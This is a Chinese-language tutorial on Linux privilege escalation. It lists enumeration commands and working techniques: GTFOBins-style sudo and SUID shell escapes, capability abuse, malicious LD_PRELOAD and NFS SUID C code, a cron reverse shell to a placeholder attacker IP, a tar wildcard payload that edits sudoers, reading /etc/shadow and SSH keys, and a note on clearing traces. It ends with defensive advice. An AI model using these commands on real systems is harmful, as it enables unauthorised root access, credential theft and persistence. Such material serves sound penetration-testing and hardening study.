Linux提权基础分享和讨论
字数 1869 2025-08-26 22:11:23
Linux提权基础全面指南
1. 提权基础概念
权限提升的本质是从低权限账户转换为高权限用户,通常通过以下方式实现:
- 操作系统或应用程序漏洞
- 设计缺陷
- 配置不当
高权限的优势:
- 重置其他账户密码
- 访问受限文件
- 绕过访问控制
- 更改软件配置
- 实现持久化
- 更改用户权限
2. 信息收集
2.1 系统信息收集
uname -a # 所有系统信息
uname -r # 内核版本
uname -n # 系统主机名
uname -m # 系统架构(64/32位)
hostname # 系统主机名
cat /proc/version # 内核信息
cat /etc/*-release # 分发信息
cat /etc/issue # 分发信息
cat /proc/cpuinfo # CPU信息
ls /boot | grep vmlinuz- # 内核文件
2.2 用户和群组信息
cat /etc/passwd # 所有用户
cat /etc/group # 所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # 超级用户
whoami # 当前用户
w # 当前登录用户及活动
last # 最后登录用户
lastlog # 所有用户上次登录信息
2.3 用户权限信息
id # 当前用户信息
cat /etc/sudoers # sudo权限配置
sudo -l # 当前用户可sudo执行的命令
2.4 环境信息
env # 环境变量
set # 环境变量
echo $PATH # 路径信息
history # 命令历史
cat /etc/profile # 系统变量
cat /etc/shells # 可用shell
2.5 进程和服务
ps aux # 所有进程
ps -ef # 完整格式进程
top # 动态进程查看
cat /etc/services # 服务端口
netstat -anptl # 网络连接
lsof -i # 打开的网络连接
2.6 安装的软件
ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l # Debian系安装的软件
2.7 计划任务
crontab -l # 当前用户计划任务
ls -alh /var/spool/cron/ # 系统计划任务
cat /etc/crontab # 系统计划任务
ls -al /etc/cron* # 所有cron配置
2.8 密码和密钥
grep -i pass [filename] # 搜索密码
find / -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # 搜索PHP密码
cat ~/.ssh/authorized_keys # SSH授权密钥
cat ~/.ssh/id_rsa # SSH私钥
2.9 SUID/GUID文件
find / -perm -u=s -type f 2>/dev/null # SUID文件
find / -perm -g=s -type f 2>/dev/null # GUID文件
find / -perm -4000 -ls 2>/dev/null # SUID文件详细
2.10 可写目录
find / -writable 2>/dev/null # 可写目录
find / -perm -222 -type d 2>/dev/null # 全局可写目录
3. 提权方法
3.1 内核漏洞提权
步骤:
- 获取内核版本信息
- 搜索对应漏洞(exploit-db/searchsploit)
- 上传并执行漏洞利用代码
常见内核漏洞:
- CVE-2016-5195 (脏牛DirtyCow)
- CVE-2022-0847 (DirtyPipe)
- CVE-2019-13272
- CVE-2017-16995
- CVE-2019-14287
资源:
3.2 sudo提权
方法:
sudo -l查看可用命令- 在GTFOBins搜索对应命令的提权方法
示例:
-
less提权:
sudo less /etc/profile !/bin/sh -
find提权:
sudo find . -exec /bin/sh \; -quit -
nano提权:
sudo nano # 按Ctrl+R然后Ctrl+X reset; sh 1>&0 2>&0
3.3 SUID提权
原理:SUID程序运行时以所有者权限执行
查找SUID文件:
find / -perm -4000 -ls 2>/dev/null
利用方法:
- 查找非常用SUID程序
- 检查GTFOBins是否有利用方法
- 利用程序功能执行命令
示例:nmap提权
# 老版本交互模式
nmap --interactive
!sh
# 新版本使用脚本
echo 'os.execute("/bin/sh")' > shell.nse
nmap --script=shell.nse
3.4 Capabilities提权
Capabilities是Linux 2.2+引入的权限细分机制
查找有capabilities的程序:
getcap -r / 2>/dev/null
利用方法:
# gdb
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
# python
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
# vim
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
3.5 计划任务提权
方法:
- 检查cron任务
cat /etc/crontab ls -al /etc/cron* - 查找可写的脚本文件
- 修改脚本添加反弹shell
示例反弹shell:
bash -i >& /dev/tcp/攻击机IP/端口 0>&1
3.6 PATH环境变量提权
原理:利用PATH变量优先级执行恶意程序
步骤:
- 查找可写目录
find / -writable 2>/dev/null - 将可写目录添加到PATH开头
export PATH=/tmp:$PATH - 创建与系统命令同名的恶意程序
3.7 NFS提权
前提条件:NFS共享配置了no_root_squash
步骤:
- 识别NFS共享
showmount -e 目标IP - 挂载共享
mount -t nfs 目标IP:/share /mnt - 创建SUID程序
#include <unistd.h> void main() { setuid(0); setgid(0); system("/bin/bash"); } - 编译并设置SUID
gcc exploit.c -o exploit chmod +s exploit
3.8 共享库提权
方法一:LD_PRELOAD
- 检查sudo权限
sudo -l # 需包含env_keep+=LD_PRELOAD - 创建恶意库
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); } - 编译并执行
gcc -fPIC -shared -o evil.so evil.c -nostartfiles sudo LD_PRELOAD=/tmp/evil.so 命令
方法二:共享库劫持
- 使用
ldd查看程序依赖库 - 查找非标准库路径
- 创建恶意库替换
3.9 特权组提权
常见特权组及利用方法:
| 组名 | 权限 | 利用方法 |
|---|---|---|
| docker | 无密码root访问 | docker run -v /root:/mnt -it ubuntu |
| disk | 访问/dev设备 | debugfs -rw /dev/sda2 |
| adm | 读取日志 | 检查/var/log敏感信息 |
| lxd/lxc | 容器管理 | 创建特权容器挂载主机文件系统 |
3.10 通配符提权
示例:tar提权
echo 'echo "user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1
等待root用户执行tar命令时触发
4. 防御措施
4.1 更新和补丁
- 定期更新内核和软件
- 删除不必要的老旧服务
4.2 配置管理
- 检查SUID/SGID文件
- 使用绝对路径定义cron任务
- 避免明文存储凭证
- 清理历史记录
- 限制共享库修改权限
4.3 用户管理
- 限制管理员账户数量
- 监控登录尝试
- 实施强密码策略
- 最小权限原则分配sudo
- 使用自动化配置管理工具
5. 实用工具
5.1 本地扫描工具
- LinEnum
- LinPEAS
- Linux Exploit Suggester
- Linux Priv Checker
5.2 漏洞搜索
searchsploit linux 内核版本 priv esc
5.3 其他资源
6. 实战示例
6.1 内核漏洞利用
- 识别内核版本:
uname -a - 搜索漏洞:
searchsploit 3.13 - 下载并编译利用代码:
searchsploit -m 37292.c gcc 37292.c -o exploit - 执行提权
6.2 SUID提权示例
- 查找SUID文件:
find / -perm -4000 -ls 2>/dev/null - 发现base64有SUID权限
- 读取敏感文件:
./base64 /etc/shadow | base64 --decode
6.3 计划任务提权
- 检查cron任务:
cat /etc/crontab - 发现可写的备份脚本
- 修改脚本添加反弹shell
- 等待任务执行获取root shell
7. 总结
Linux提权方法多样,关键在于:
- 全面信息收集
- 识别配置不当或漏洞
- 选择合适的方法利用
- 获取凭证或直接提权
- 清理痕迹
防御者应遵循最小权限原则,定期审计系统配置,及时更新补丁,减少攻击面。